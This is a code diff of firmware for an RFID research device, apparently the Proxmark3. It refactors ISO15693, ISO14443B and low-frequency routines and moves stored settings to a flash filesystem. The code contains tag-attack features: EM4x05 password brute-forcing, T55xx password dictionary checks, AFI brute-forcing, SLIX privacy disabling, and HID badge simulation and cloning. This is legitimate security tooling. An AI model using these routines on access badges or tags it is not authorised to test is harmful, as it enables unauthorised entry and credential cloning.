// secondary buffer sets as primary, secondary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}
@ -2578,7 +2581,6 @@ void SendRawCommand14443B(iso14b_raw_cmd_t *p) {
if ((p->flags & ISO14B_CLEARTRACE) == ISO14B_CLEARTRACE) {
clear_trace();
BigBuf_Clear_ext(false);
}
set_tracing(true);

View file

@ -45,8 +45,11 @@ int iso14443b_select_card(iso14b_card_select_t *card);
void SimulateIso14443bTag(const uint8_t *pupi);
void read_14b_st_block(uint8_t blocknr);
int read_14b_srx_block(uint8_t blocknr, uint8_t *block);
int iso14443b_select_srx_card(iso14b_card_select_t *card);
void SniffIso14443b(void);
void SendRawCommand14443B(iso14b_raw_cmd_t *p);
void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing);
// States for 14B SIM command
#define SIM_POWER_OFF 0

View file

@ -180,8 +180,7 @@ static void CodeIso15693AsReaderEOF(void) {
static int get_uid_slix(uint32_t start_time, uint32_t *eof_time, uint8_t *uid) {
uint8_t *answer = BigBuf_malloc(ISO15693_MAX_RESPONSE_LENGTH);
memset(answer, 0x00, ISO15693_MAX_RESPONSE_LENGTH);
uint8_t *answer = BigBuf_calloc(ISO15693_MAX_RESPONSE_LENGTH);
start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER;
@ -985,10 +984,11 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo
DecodeTagFSK_t dtfm = { 0 };
DecodeTagFSK_t *dtf = &dtfm;
if (fsk)
if (fsk) {
DecodeTagFSKInit(dtf, response, max_len);
else
} else {
DecodeTagInit(dt, response, max_len);
}
// wait for last transfer to complete
while (!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXEMPTY));
@ -1014,8 +1014,9 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo
for (;;) {
volatile uint16_t behindBy = ((uint16_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1);
if (behindBy == 0)
if (behindBy == 0) {
continue;
}
samples++;
if (samples == 1) {
@ -1032,12 +1033,12 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) {
// primary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
}
// secondary buffer sets as primary, secondary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}
@ -1482,7 +1483,7 @@ int GetIso15693CommandFromReader(uint8_t *received, size_t max_len, uint32_t *eo
bool gotFrame = false;
// the decoder data structure
DecodeReader_t *dr = (DecodeReader_t *)BigBuf_malloc(sizeof(DecodeReader_t));
DecodeReader_t *dr = (DecodeReader_t *)BigBuf_calloc(sizeof(DecodeReader_t));
DecodeReaderInit(dr, received, max_len, 0, NULL);
// wait for last transfer to complete
@ -1587,7 +1588,7 @@ void AcquireRawAdcSamplesIso15693(void) {
LED_A_ON();
uint8_t *dest = BigBuf_malloc(4000);
uint8_t *dest = BigBuf_calloc(4096);
// switch field on
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER);
@ -1708,12 +1709,12 @@ void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool icla
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) {
// primary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
}
// secondary buffer sets as primary, secondary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}
@ -2029,7 +2030,7 @@ void ReaderIso15693(iso15_card_select_t *p_card) {
LED_A_ON();
set_tracing(true);
uint8_t *answer = BigBuf_malloc(ISO15693_MAX_RESPONSE_LENGTH);
uint8_t *answer = BigBuf_calloc(ISO15693_MAX_RESPONSE_LENGTH);
memset(answer, 0x00, ISO15693_MAX_RESPONSE_LENGTH);
// FIRST WE RUN AN INVENTORY TO GET THE TAG UID
@ -2117,14 +2118,6 @@ void Iso15693InitTag(void) {
StartCountSspClk();
}
void EmlClearIso15693(void) {
// Resetting the bitstream also frees the BigBuf memory, so we do this here to prevent
// an inconvenient reset in the future by Iso15693InitTag
FpgaDownloadAndGo(FPGA_BITSTREAM_HF_15);
BigBuf_Clear_EM();
reply_ng(CMD_HF_ISO15693_EML_CLEAR, PM3_SUCCESS, NULL, 0);
}
// Simulate an ISO15693 TAG, perform anti-collision and then print any reader commands
// all demodulation performed in arm rather than host. - greg
void SimTagIso15693(const uint8_t *uid, uint8_t block_size) {
@ -2137,7 +2130,7 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) {
iso15_tag_t *tag = (iso15_tag_t *) BigBuf_get_EM_addr();
if (tag == NULL) {
Dbprintf("Can't allocate emulator memory");
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory");
reply_ng(CMD_HF_ISO15693_SIMULATE, PM3_EFAILED, NULL, 0);
return;
}
@ -2665,7 +2658,7 @@ void BruteforceIso15693Afi(uint32_t flags) {
Dbprintf("AFI = %i UID = %s", i, iso15693_sprintUID(NULL, recv + 2));
}
aborted = (BUTTON_PRESS() && data_available());
aborted = (BUTTON_PRESS() || data_available());
if (aborted) {
break;
}
@ -2775,10 +2768,10 @@ void LockPassSlixIso15693(uint32_t pass_id, uint32_t password) {
LED_A_ON();
uint8_t cmd_inventory[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_INVENTORY | ISO15693_REQINV_SLOT1, 0x01, 0x00, 0x00, 0x00 };
uint8_t cmd_get_rnd[] = {ISO15693_REQ_DATARATE_HIGH, 0xB2, 0x04, 0x00, 0x00 };
uint8_t cmd_set_pass[] = {ISO15693_REQ_DATARATE_HIGH, 0xB3, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
//uint8_t cmd_write_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, 0xB4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t cmd_lock_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, 0xB5, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00 };
uint8_t cmd_get_rnd[] = {ISO15693_REQ_DATARATE_HIGH, ISO15693_GET_RANDOM_NUMBER, 0x04, 0x00, 0x00 };
uint8_t cmd_set_pass[] = {ISO15693_REQ_DATARATE_HIGH, ISO15693_SET_PASSWORD, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
//uint8_t cmd_write_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, ISO15693_WRITE_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t cmd_lock_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, ISO15693_LOCK_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00 };
uint16_t crc;
uint16_t recvlen = 0;
uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH];
@ -3028,14 +3021,7 @@ static uint32_t disable_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_ti
return PM3_SUCCESS;
}
static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid) {
uint8_t rnd[2];
if (get_rnd_15693_Slix(start_time, eof_time, rnd) == false) {
return PM3_ETIMEOUT;
}
static uint32_t set_pass_15693_SlixRnd(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid, uint8_t *rnd) {
// 0x04, == NXP from manufacture id list.
uint8_t c[] = { (ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS), ISO15693_SET_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, pass_id, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
@ -3055,6 +3041,18 @@ static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uin
return PM3_SUCCESS;
}
static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid) {
uint8_t rnd[2];
if (get_rnd_15693_Slix(start_time, eof_time, rnd) == false) {
return PM3_ETIMEOUT;
}
return set_pass_15693_SlixRnd(start_time, eof_time, pass_id, password, uid, rnd);
}
static uint32_t set_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_time, const uint8_t *password) {
uint8_t rnd[2];
if (get_rnd_15693_Slix(start_time, eof_time, rnd) == false) {
@ -3062,7 +3060,7 @@ static uint32_t set_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_time,
}
// 0x04, == NXP from manufacture id list.
uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, 0xBA, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, ISO15693_ENABLE_PRIVACY, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
init_password_15693_Slix(&c[3], password, rnd);
AddCrc15(c, 7);
@ -3096,7 +3094,7 @@ static uint32_t disable_eas_15693_Slix(uint32_t start_time, uint32_t *eof_time,
}
// 0x04, == NXP from manufacture id list.
uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, 0xA3, 0x04, 0x00, 0x00};
uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, ISO15693_RESET_EAS, 0x04, 0x00, 0x00};
AddCrc15(c, 3);
start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER;
@ -3127,7 +3125,7 @@ static uint32_t enable_eas_15693_Slix(uint32_t start_time, uint32_t *eof_time, c
}
}
// 0x04, == NXP from manufacture id list.
uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, 0xA2, 0x04, 0x00, 0x00};
uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, ISO15693_SET_EAS, 0x04, 0x00, 0x00};
//init_password_15693_Slix(&c[3], password, rnd);
AddCrc15(c, 3);
@ -3162,6 +3160,26 @@ static uint32_t write_password_15693_Slix(uint32_t start_time, uint32_t *eof_tim
return PM3_SUCCESS;
}
static uint32_t protect_page_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t divide_ptr, uint8_t prot_status, const uint8_t *uid) {
uint8_t protect_cmd[] = { (ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS), ISO15693_PROTECT_PAGE, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, divide_ptr, prot_status, 0x00, 0x00};
memcpy(&protect_cmd[3], uid, 8);
AddCrc15(protect_cmd, 13);
start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER;
uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH];
uint16_t recvlen = 0;
int res_wrp = SendDataTag(protect_cmd, sizeof(protect_cmd), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time, &recvlen);
if (res_wrp != PM3_SUCCESS && recvlen != 3) {
return PM3_EWRONGANSWER;
}
return PM3_SUCCESS;
}
static uint32_t pass_protect_EASAFI_15693_Slix(uint32_t start_time, uint32_t *eof_time, bool set_option_flag, const uint8_t *password) {
uint8_t flags;
@ -3262,6 +3280,37 @@ void WritePasswordSlixIso15693(const uint8_t *old_password, const uint8_t *new_p
}
void ProtectPageSlixIso15693(const uint8_t *read_password, const uint8_t *write_password, uint8_t divide_ptr, uint8_t prot_status) {
LED_D_ON();
Iso15693InitReader();
StartCountSspClk();
uint32_t start_time = 0, eof_time = 0;
int res = PM3_SUCCESS;
uint8_t uid[8], rnd[2];
get_uid_slix(start_time, &eof_time, uid);
if (get_rnd_15693_Slix(start_time, &eof_time, rnd) == false) {
reply_ng(CMD_HF_ISO15693_SLIX_PROTECT_PAGE, PM3_ETIMEOUT, NULL, 0);
switch_off();
return;
}
if (read_password)
res = set_pass_15693_SlixRnd(start_time, &eof_time, 0x01, read_password, uid, rnd);
if (res == PM3_SUCCESS && write_password)
res = set_pass_15693_SlixRnd(start_time, &eof_time, 0x02, write_password, uid, rnd);
if (res == PM3_SUCCESS)
res = protect_page_15693_Slix(start_time, &eof_time, divide_ptr, prot_status, uid);
reply_ng(CMD_HF_ISO15693_SLIX_PROTECT_PAGE, res, NULL, 0);
switch_off();
}
void DisablePrivacySlixIso15693(const uint8_t *password) {
LED_D_ON();
Iso15693InitReader();

View file

@ -46,7 +46,6 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo
//void RecordRawAdcSamplesIso15693(void);
void AcquireRawAdcSamplesIso15693(void);
void ReaderIso15693(iso15_card_select_t *p_card); // ISO15693 reader
void EmlClearIso15693(void);
void SimTagIso15693(const uint8_t *uid, uint8_t block_size); // simulate an ISO15693 tag
void BruteforceIso15693Afi(uint32_t flags); // find an AFI of a tag
void SendRawCommand15693(iso15_raw_cmd_t *packet); // send arbitrary commands from CLI
@ -69,4 +68,5 @@ void EnableEAS_AFISlixIso15693(const uint8_t *password, bool usepwd);
void PassProtextEASSlixIso15693(const uint8_t *password);
void PassProtectAFISlixIso15693(const uint8_t *password);
void WriteAFIIso15693(const uint8_t *password, bool use_pwd, uint8_t *uid, bool use_uid, uint8_t afi);
void ProtectPageSlixIso15693(const uint8_t *read_password, const uint8_t *write_password, uint8_t divide_ptr, uint8_t prot_status);
#endif

View file

@ -236,8 +236,13 @@ void lf_init(bool reader, bool simulate, bool ledcontrol) {
FpgaSetupSsc(FPGA_MAJOR_MODE_LF_READER);
// When in reader mode, give the field a bit of time to settle.
// 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered.
SpinDelay(10);
// Optimal timing window for LF ADC measurements to be performed:
// minimum: 313T0 = 313 * 8us = 2504us = 2.50ms - Hitag2 tag internal powerup time
// 280T0 = 280 * 8us = 2240us = 2.24ms - HitagS minimum time before the first command (powerup time)
// maximum: 545T0 = 545 * 8us = 4360us = 4.36ms - Hitag2 command waiting time before it starts transmitting in public mode (if configured so)
// 565T0 = 565 * 8us = 4520us = 4.52ms - HitagS waiting time before entering TTF mode (if configured so)
// Thus (2.50 ms + 4.36 ms) / 2 ~= 3 ms (rounded down to integer), should be a good timing for both tag models
SpinDelay(3);
// Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation
AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT;

View file

@ -29,7 +29,6 @@
#include "dbprint.h"
#include "util.h"
#include "commonutil.h"
#include "crc16.h"
#include "string.h"
#include "printf.h"
@ -38,7 +37,8 @@
#include "protocols.h"
#include "pmflash.h"
#include "flashmem.h" // persistence on flash
#include "appmain.h" // print stack
#include "spiffs.h" // spiffs
#include "appmain.h" // print stack
/*
Notes about EM4xxx timings.
@ -64,11 +64,11 @@ SAM7S has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS
TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz
New timer implementation in ticks.c, which is used in LFOPS.c
1 μs = 1.5 ticks
1 fc = 8 μs = 12 ticks
1 µs = 1.5 ticks
1 fc = 8 µs = 12 ticks
Terms you find in different datasheets and how they match.
1 Cycle = 8 microseconds (μs) == 1 field clock (fc)
1 Cycle = 8 microseconds (µs) == 1 field clock (fc)
Note about HITAG timing
Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier)
@ -80,7 +80,7 @@ Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per sec
==========================================================================================================
ATA5577 Downlink Protocol Timings.
Note: All absolute times assume TC = 1 / fC = 8 μs (fC = 125 kHz)
Note: All absolute times assume TC = 1 / fC = 8 µs (fC = 125 kHz)
Note: These timings are from the datasheet and doesn't map the best to the features of the RVD4 LF antenna.
RDV4 LF antenna has high voltage and the drop of power when turning off the rf field takes about 1-2 TC longer.
@ -325,31 +325,7 @@ void setT55xxConfig(uint8_t arg0, const t55xx_configurations_t *c) {
return;
}
if (!FlashInit()) {
BigBuf_free();
return;
}
uint8_t *buf = BigBuf_malloc(T55XX_CONFIG_LEN);
Flash_CheckBusy(BUSY_TIMEOUT);
uint16_t res = Flash_ReadDataCont(T55XX_CONFIG_OFFSET, buf, T55XX_CONFIG_LEN);
if (res == 0) {
FlashStop();
BigBuf_free();
return;
}
memcpy(buf, &T55xx_Timing, T55XX_CONFIG_LEN);
// delete old configuration
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(3, 0xD);
// write new
res = Flash_Write(T55XX_CONFIG_OFFSET, buf, T55XX_CONFIG_LEN);
if (res == T55XX_CONFIG_LEN && g_dbglevel > 1) {
if (SPIFFS_OK == rdv40_spiffs_write(T55XX_CONFIG_FILE, (uint8_t *)&T55xx_Timing, T55XX_CONFIG_LEN, RDV40_SPIFFS_SAFETY_SAFE)) {
DbpString("T55XX Config save " _GREEN_("success"));
}
@ -364,15 +340,23 @@ t55xx_configurations_t *getT55xxConfig(void) {
void loadT55xxConfig(void) {
#ifdef WITH_FLASH
if (!FlashInit()) {
uint8_t *buf = BigBuf_calloc(T55XX_CONFIG_LEN);
uint32_t size = 0;
if (exists_in_spiffs(T55XX_CONFIG_FILE)) {
size = size_in_spiffs(T55XX_CONFIG_FILE);
}
if (size == 0) {
Dbprintf("Spiffs file: %s does not exists or empty.", T55XX_CONFIG_FILE);
BigBuf_free();
return;
}
uint8_t *buf = BigBuf_malloc(T55XX_CONFIG_LEN);
Flash_CheckBusy(BUSY_TIMEOUT);
uint16_t isok = Flash_ReadDataCont(T55XX_CONFIG_OFFSET, buf, T55XX_CONFIG_LEN);
FlashStop();
if (SPIFFS_OK != rdv40_spiffs_read(T55XX_CONFIG_FILE, buf, T55XX_CONFIG_LEN, RDV40_SPIFFS_SAFETY_SAFE)) {
Dbprintf("Spiffs file: %s cannot be read.", T55XX_CONFIG_FILE);
BigBuf_free();
return;
}
// verify read mem is actual data.
uint8_t cntA = T55XX_CONFIG_LEN, cntB = T55XX_CONFIG_LEN;
@ -381,6 +365,7 @@ void loadT55xxConfig(void) {
if (buf[i] == 0x00) cntB--;
}
if (!cntA || !cntB) {
Dbprintf("Spiffs file: %s does not malformed or empty.", T55XX_CONFIG_FILE);
BigBuf_free();
return;
}
@ -388,7 +373,7 @@ void loadT55xxConfig(void) {
if (buf[0] != 0xFF) // if not set for clear
memcpy((uint8_t *)&T55xx_Timing, buf, T55XX_CONFIG_LEN);
if (isok == T55XX_CONFIG_LEN) {
if (size == T55XX_CONFIG_LEN) {
if (g_dbglevel > 1) DbpString("T55XX Config load success");
}
@ -959,6 +944,33 @@ static void fcAll(uint8_t fc, int *n, uint8_t clock, int16_t *remainder) {
}
}
bool add_HID_preamble(uint32_t *hi2, uint32_t *hi, uint32_t *lo, uint8_t length) {
// Invalid value
if (length > 84 || length == 0)
return false;
if (length == 48) {
*hi |= 1U << (length - 32); // Example leading 1: start bit
return true;
}
if (length >= 64) {
*hi2 |= 0x09e00000; // Extended-length header
*hi2 |= 1U << (length - 64); // leading 1: start bit
} else if (length > 37) {
*hi2 |= 0x09e00000; // Extended-length header
*hi |= 1U << (length - 32); // leading 1: start bit
} else if (length == 37) {
// No header bits added to 37-bit cards
} else if (length >= 32) {
*hi |= 0x20; // Bit 37; standard header
*hi |= 1U << (length - 32); // leading 1: start bit
} else {
*hi |= 0x20; // Bit 37; standard header
*lo |= 1U << length; // leading 1: start bit
}
return true;
}
// prepare a waveform pattern in the buffer based on the ID given then
// simulate a HID tag until the button is pressed
void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol, int numcycles) {
@ -983,13 +995,7 @@ void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, boo
uint16_t n = 8;
if (longFMT) {
// Ensure no more than 84 bits supplied
if (hi2 > 0xFFFFF) {
DbpString("Tags can only have 84 bits.");
return;
}
bitlen = 8 + 8 * 2 + 84 * 2;
hi2 |= 0x9E00000; // 9E: long format identifier
manchesterEncodeUint32(hi2, 16 + 12, bits, &n);
manchesterEncodeUint32(hi, 32, bits, &n);
manchesterEncodeUint32(lo, 32, bits, &n);
@ -1021,7 +1027,6 @@ void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t cl
// free eventually allocated BigBuf memory
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(false);
int n = 0, i = 0;
@ -2147,29 +2152,34 @@ void T55xx_ChkPwds(uint8_t flags, bool ledcontrol) {
#ifdef WITH_FLASH
BigBuf_Clear_EM();
uint16_t isok = 0;
uint8_t counter[2] = {0x00, 0x00};
isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET, counter, sizeof(counter));
if (isok != sizeof(counter))
goto OUT;
uint32_t size = 0;
pwd_count = (uint16_t)(counter[1] << 8 | counter[0]);
if (exists_in_spiffs(T55XX_KEYS_FILE)) {
size = size_in_spiffs(T55XX_KEYS_FILE);
}
if (size == 0) {
Dbprintf("Spiffs file: %s does not exists or empty.", T55XX_KEYS_FILE);
goto OUT;
}
pwd_count = size / T55XX_KEY_LENGTH;
if (pwd_count == 0)
goto OUT;
// since flash can report way too many pwds, we need to limit it.
// bigbuff EM size is determined by CARD_MEMORY_SIZE
// a password is 4bytes.
uint16_t pwd_size_available = MIN(CARD_MEMORY_SIZE, pwd_count * 4);
uint16_t pwd_size_available = MIN(CARD_MEMORY_SIZE, pwd_count * T55XX_KEY_LENGTH);
// adjust available pwd_count
pwd_count = pwd_size_available / 4;
pwd_count = pwd_size_available / T55XX_KEY_LENGTH;
isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET + 2, pwds, pwd_size_available);
if (isok != pwd_size_available)
if (SPIFFS_OK == rdv40_spiffs_read_as_filetype(T55XX_KEYS_FILE, pwds, pwd_size_available, RDV40_SPIFFS_SAFETY_SAFE)) {
if (g_dbglevel >= DBG_ERROR) Dbprintf("Loaded %u passwords from spiffs file: %s", pwd_count, T55XX_KEYS_FILE);
} else {
Dbprintf("Spiffs file: %s cannot be read.", T55XX_KEYS_FILE);
goto OUT;
Dbprintf("Password dictionary count " _YELLOW_("%d"), pwd_count);
}
#endif
@ -2285,15 +2295,10 @@ void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, boo
uint8_t last_block = 0;
if (longFMT) {
// Ensure no more than 84 bits supplied
if (hi2 > 0xFFFFF) {
DbpString("Tags can only have 84 bits");
return;
}
// Build the 6 data blocks for supplied 84bit ID
last_block = 6;
// load preamble (1D) & long format identifier (9E manchester encoded)
data[1] = 0x1D96A900 | (manchesterEncode2Bytes((hi2 >> 16) & 0xF) & 0xFF);
// load preamble (1D)
data[1] = 0x1D000000 | (manchesterEncode2Bytes((hi2 >> 16) & 0xFFFF) & 0xFFFFFF);
// load raw id from hi2, hi, lo to data blocks (manchester encoded)
data[2] = manchesterEncode2Bytes(hi2 & 0xFFFF);
data[3] = manchesterEncode2Bytes(hi >> 16);
@ -2593,13 +2598,13 @@ static void SendForward(uint8_t fwd_bit_count, bool fast) {
// 32FC * 8us == 256us / 21.3 == 12.018 steps. ok
// 16FC * 8us == 128us / 21.3 == 6.009 steps. ok
#ifndef EM_START_GAP
#define EM_START_GAP 55*8
#define EM_START_GAP (55 * 8)
#endif
fwd_write_ptr = forwardLink_data;
fwd_bit_sz = fwd_bit_count;
if (! fast) {
if (fast == false) {
// Set up FPGA, 125kHz or 95 divisor
LFSetupFPGAForADC(LF_DIVISOR_125, true);
}
@ -2639,16 +2644,21 @@ void EM4xBruteforce(uint32_t start_pwd, uint32_t n, bool ledcontrol) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
WaitMS(20);
if (ledcontrol) LED_A_ON();
LFSetupFPGAForADC(LF_DIVISOR_125, true);
uint32_t candidates_found = 0;
for (uint32_t pwd = start_pwd; pwd < 0xFFFFFFFF; pwd++) {
if (((pwd - start_pwd) & 0x3F) == 0x00) {
WDT_HIT();
if (BUTTON_PRESS() || data_available()) {
Dbprintf("EM4x05 Bruteforce Interrupted");
break;
}
}
// Report progress every 256 attempts
if (((pwd - start_pwd) & 0xFF) == 0x00) {
Dbprintf("Trying: %06Xxx", pwd >> 8);
@ -2662,7 +2672,9 @@ void EM4xBruteforce(uint32_t start_pwd, uint32_t n, bool ledcontrol) {
WaitUS(400);
DoPartialAcquisition(0, false, 350, 1000, ledcontrol);
uint8_t *mem = BigBuf_get_addr();
if (mem[334] < 128) {
candidates_found++;
Dbprintf("Password candidate: " _GREEN_("%08X"), pwd);
@ -2671,6 +2683,7 @@ void EM4xBruteforce(uint32_t start_pwd, uint32_t n, bool ledcontrol) {
break;
}
}
// Beware: if smaller, tag might not have time to be back in listening state yet
WaitMS(1);
}
@ -2719,7 +2732,9 @@ void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd, bool ledcontrol) {
* 0000 1010 ok
* 0000 0001 fail
**/
if (usepwd) EM4xLoginEx(pwd);
if (usepwd) {
EM4xLoginEx(pwd);
}
forward_ptr = forwardLink_data;
uint8_t len = Prepare_Cmd(FWD_CMD_READ);
@ -2754,7 +2769,9 @@ void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd, bo
* 0000 1010 ok.
* 0000 0001 fail
**/
if (usepwd) EM4xLoginEx(pwd);
if (usepwd) {
EM4xLoginEx(pwd);
}
forward_ptr = forwardLink_data;
uint8_t len = Prepare_Cmd(FWD_CMD_WRITE);
@ -2797,7 +2814,9 @@ void EM4xProtectWord(uint32_t data, uint32_t pwd, uint8_t usepwd, bool ledcontro
* 0000 1010 ok.
* 0000 0001 fail
**/
if (usepwd) EM4xLoginEx(pwd);
if (usepwd) {
EM4xLoginEx(pwd);
}
forward_ptr = forwardLink_data;
uint8_t len = Prepare_Cmd(FWD_CMD_PROTECT);
@ -2893,7 +2912,7 @@ void Cotag(uint32_t arg0, bool ledcontrol) {
break;
}
case 1: {
uint8_t *dest = BigBuf_malloc(COTAG_BITS);
uint8_t *dest = BigBuf_calloc(COTAG_BITS);
uint16_t bits = doCotagAcquisitionManchester(dest, COTAG_BITS);
reply_ng(CMD_LF_COTAG_READ, PM3_SUCCESS, dest, bits);
break;

View file

@ -34,6 +34,7 @@ void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycl
void SimulateTagLowFrequency(int period, int gap, bool ledcontrol);
void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen);
bool add_HID_preamble(uint32_t *hi2, uint32_t *hi, uint32_t *lo, uint8_t length);
void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol, int numcycles);
void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol);

View file

@ -149,7 +149,7 @@ void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) {
data.buffer = BigBuf_get_addr();
} else {
*sample_size = MIN(*sample_size, BigBuf_max_traceLen());
data.buffer = BigBuf_malloc(*sample_size);
data.buffer = BigBuf_calloc(*sample_size);
}
} else {
@ -669,7 +669,7 @@ void doT55x7Acquisition(size_t sample_size, bool ledcontrol) {
void doCotagAcquisition(void) {
uint16_t bufsize = BigBuf_max_traceLen();
uint8_t *dest = BigBuf_malloc(bufsize);
uint8_t *dest = BigBuf_calloc(bufsize);
dest[0] = 0;
@ -739,8 +739,9 @@ void doCotagAcquisition(void) {
uint16_t doCotagAcquisitionManchester(uint8_t *dest, uint16_t destlen) {
if (dest == NULL)
if (dest == NULL) {
return 0;
}
dest[0] = 0;

File diff suppressed because it is too large Load diff

View file

@ -37,16 +37,14 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key);
